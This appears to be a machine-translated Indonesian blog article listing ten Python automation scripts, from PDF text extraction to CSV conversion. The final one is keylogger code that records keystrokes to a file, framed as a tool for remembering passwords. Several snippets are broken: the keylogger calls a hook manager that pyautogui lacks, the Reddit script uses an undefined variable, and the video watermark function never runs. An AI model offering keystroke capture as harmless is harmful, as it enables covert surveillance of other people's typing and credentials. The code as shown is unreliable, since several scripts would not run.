Kumpulan Skrip Python Paling Praktis untuk Masalah Python Harian Anda
Mengerjakan tugas yang sama setiap hari membosankan dan membuat stres. Seperti mencari file di PC, Mengirim Email Massal, Mengambil teks dari PDF, dan masih banyak lagi. Mari kita otomatisasi tugas-tugas tersebut dengan Python. Pada artikel ini, saya akan menunjukkan kepada Anda 10 skrip Python untuk Masalah Harian Anda. Jadi, masukkan artikel ini ke dalam daftar Anda dan mari kita mulai.
Mengendalikan Kompleksitas adalah inti dari pemrograman komputer
βBrian Kernighan
π Ekstrak Teks dari PDF
Ambil teks dari PDF mana pun dengan sangat akurat. Skrip otomatisasi ini menggunakan modul PdfPlumber yang menurut saya merupakan modul yang lebih mudah digunakan untuk mengambil teks dari keseluruhan PDF.
# Extract Text from PDF # pip install pdfplumber import pdfplumber as plumber def PDF_Extractor(file): text = "" pdf = plumber.open(file) for page in pdf.pages: text += page.extract_text() pdf.close() print(text) PDF_Extractor("test.pdf")
π Kirim Email dengan File
Sekarang Anda dapat mengirim email dengan lampiran dengan cara yang lebih sederhana. Di bawah skrip gunakan Modul Quick-maileryang akan membantu Anda mengirim audio, video, gambar, atau format file apa pun dengan beberapa baris kode.
# Send Email with Astachments # pip install quick-mailer import mailer as email # login send = email.Mailer("[email protected]", "password") # send email with Files send.send(receiver="[email protected]", subject="Hello", message="Hi its medium", files=["test.py"], image="test.png")
π Pencari File
Mencari file tetapi mengetahui di mana Anda menyimpannya di PC, maka skrip otomatisasi ini adalah penyelamat bagi Anda. Skrip ini akan memindai seluruh file dan drive sistemAnda untuk mencari file yang Anda cari.
# File Searcher import os import sys # search file in whole system def search_file(filename): for root, dirs, files in os.walk('/'): if filename in files: print(os.path.join(root, filename)) # search file in a path def search_file_in_path(filename, path): for root, dirs, files in os.walk(path): if filename in files: print(os.path.join(root, filename)) search_file("test.png") search_file_in_path("test.png", "D:\\folder")
π Mati Otomatis
Skrip sederhana ini akan membuat proses mematikan Anda menjadi otomatis. Misalkan Anda lupa mematikan PC Anda dan kemudian skrip ini akan secara otomatis mematikan PC Anda pada waktu yang telah ditentukan.
# Auto Shutdown # pip install schedule import schedule import os def shutdown(): os.system("shutdown /s /t 1") schedule.every().day.at("23:59").do(shutdown)
π Ambil Geolokasi IP
Perlu mengambil informasi geolokasi dari alamat Ip mana pun lalu gunakan skrip di bawah ini untuk itu. Itu menggunakan API WebGratis yang memungkinkan Anda mengambil informasi geolokasi alamat Ip apa pun.
# Geolocation API import urllib3 import json IP = "Any IP Address" api_url = "https://api.techniknews.net/ipgeo/" + IP http = urllib3.PoolManager() r = http.request('GET', api_url) data = json.loads(r.data.decode('utf-8')) print(json.dumps(data, indent=4, sort_keys=True))
π Tanda Air Video
Kita telah melihat skrip untuk memberi watermark pada Gambar, namun sekarang skrip ini akan menunjukkan kepada Anda cara yang lebih mudah untuk memberi watermark pada Video Anda dengan menggunakan modul PyFFmpeg.
# Video Watermarking # pip install pyffmpeg from pyffmpeg import * def Watermark(video, watermark): ffmpeg = FFmpeg() ffmpeg.options("-i {video} -i {watermark} -filter_complex overlay=1500:10 output.mp4") print("Watermarking video...") Watermark("video.mp4", "watermark.png")
π Pengubah Gambar
Ubah ukuran Gambar Anda ke lebar atau tinggi apa pun dengan menggunakan skrip otomatisasi di bawah ini.
# Image Resizer # pip install pillow from PIL import Image def Image_ReSizer(img_file, width, height): img = Image.open(img_file) photo = img.resize((width, height), Image.ANTIALIAS) photo.save("test_resized.jpg") Image_ReSizer("test1.png", 1920, 1080)
π CSV Sederhana Ke JSON
Mengalami masalah saat mengonversi CSV ke format JSON, lalu coba skrip otomatisasi di bawah ini yang menggunakan modul Pandas untuk mengonversi CSV ke JSON dan JSON ke CSV.
# CSV to JSON # pip install pandas import pandas as pd import json def CSV_to_JSON(file): df = pd.read_csv(file) df.to_json('file.json', orient='records') CSV_to_JSON('file.csv')
π Ekstraktor Pos Reddit
Ekstrak postingan Reddit favorit Anda dengan skrip otomatisasi ini. Skrip ini menggunakan modul Praw resmi yang memungkinkan Anda mengambil postingan dari subreddit mana pun beserta komentar, URL, judulnya, dan banyak lagi.
# Reddit Post Extractor # pip install praw from re import sub import praw as pr bot = pr.Reddit(client_id='CLIENT_ID', client_secret='CLIENT_SECRET') subreddit = bot.subreddit('subreddit_name') for sub in subreddit.hot(limit=10): print(sub.title) print(sub.url) print(subn.selftext) sub.comments.replace_more(limit=0) for com in sub.comments.list(): print(com.body)
π Membuat Keylogger
Skrip hebat ini akan membantu Anda membuatkeylogger dengan beberapa baris kode. Alat praktis ini dapat digunakan untuk menyimpan Kata Sandi Anda jika Anda lupa.
# Build Keylogger # pip install pyautogui import pythoncom, pyautogui def OnKeyboardEvent(event): f = open('keylog.txt', 'a') f.write(event.Key) f.close() hooks_manager = pyautogui.HooksManager() hooks_manager.KeyDown = OnKeyboardEvent hooks_manager.HookKeyboard() pythoncom.PumpMessages()
π Pikiran Terakhir
Baiklah, saya harap Anda menemukan skrip otomatisasi yang berguna. Jika menurut Anda artikel ini menarik, bagikan β€οΈ ke teman-teman Anda karena berbagi itu peduli.
Selamat Mengkode Python
Buka kunci semua artikel saya dan keseluruhan Cerita dan Artikel Medium dengan Bergabung dengan Langganan Medium Di Sini . atau Klik di bawah Referensi Agar saya bisa mendapatkan dukungan juga.ππ
Jangan pernah berhenti belajar, Inilah dosis harian Anda dari artikel pemrograman saya di bawah ini, semoga Anda juga menyukainya.
Konten lainnya di